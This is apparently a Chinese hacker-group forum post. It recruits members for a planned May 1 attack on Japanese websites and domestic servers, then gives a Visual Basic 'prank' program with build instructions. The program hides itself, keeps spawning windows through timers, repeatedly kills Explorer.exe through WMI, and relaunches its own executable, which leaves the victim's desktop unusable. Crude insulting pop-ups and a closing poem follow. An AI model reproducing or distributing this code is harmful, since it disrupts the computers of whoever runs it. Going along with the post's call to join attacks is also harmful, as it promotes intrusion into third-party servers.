1017攻擊战队交流网络知识.学习无限精彩. QQ:910764 QQ:249128527 QQ群：34094155 <QQ群和两个qq人数已达到最高线,
如想加qq就送K级好友和冲高级群> 主要目标日本各大网站.国内各大黄色网站服务器,不正规服务商!!!爱好攻击的朋友可以加群!!!

                                ^   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     ^
                                ^ ~~大力招聘中.五月一日将对不些不法服务器进行攻击...会编程和溢出攻击,网站攻击的朋友加qq群.~~ ^
                                ^   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ^

恶作剧 By:1017 qq:910764 广交黑客爱好者和网络编程爱好者...
爱无情

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Form1.Show
End Sub

Private Sub Form_Load()
Timer1.Interval = 10
Timer2.Interval = 10
Form1.Hide
For i = 1 To 1E+23
For a = 1 To 1E+16
Next a
For b = 1 To 1E+19
Next b
For c = 1 To 999999999
Next c
Next i

End Sub

Private Sub Timer1_Timer()
Form1.Show
End Sub

Private Sub Timer2_Timer()
Form1.Show
End Sub

Private Sub Form_Load()
On Error Resume Next
MsgBox "1017攻擊战队交流网络知识.学习无限精彩.", vbInformation = vbOKOnly, "猪头,点你毛啊!"
MsgBox "QQ:910764 qq群：34094155", vbInformation = vbOKOnly, "就是老子...嘿嘿!代表月亮惩罚你!"
End Sub
这些代码是我弹出的。。我就不写上了/。

Private Sub Timer1_Timer()
On Error Resume Next
Dim objWMIService As Object
Dim colProcesslist As Object
Dim objProcess As Object
Set objWMIService = CreateObject("winmgmts:{impersonationLevel=Impersonate}!root\cimv2")
Set colProcesslist = objWMIService.ExecQuery("select * from win32_process where name='Explorer.exe'")
For Each objProcess In colProcesslist
objProcess.Terminate
Next
End Sub
在时间控件timer1中定上
Private Sub Timer2_Timer()
On Error Resume Next
Dim a As New Form1 ' 声明以后出现a就是代表Form1
a.Show ' Form1弹出
End Sub
在时间控件2中写上
Private Sub Timer3_Timer()
On Error Resume Next
Shell App.EXEName '运行这个软件的本身
End Sub
好了，下面来做一个介面
改成红色/设为第一项。。意思是不显示上面的这个
呵。不好意思好了 我就不运行了。。。
          翩翩杨花风起舞，幽幽兰芷芳着露。晶莹露冷香有源，散漫絮飞归无处。细品冷香凝辞赋，漫理思絮入丝竹。旧曲天外雪花落，新词灯下人孤独。相思点点聚还散，缱绻缕缕有还无。应知寂寞情无主，冰心何必在玉壶？醉饮银河星月酒，卧看牵牛织女路.品谈人生无常事，笑对天下风月情.這個世間有種感情，至貞至純，卻是傷害........～！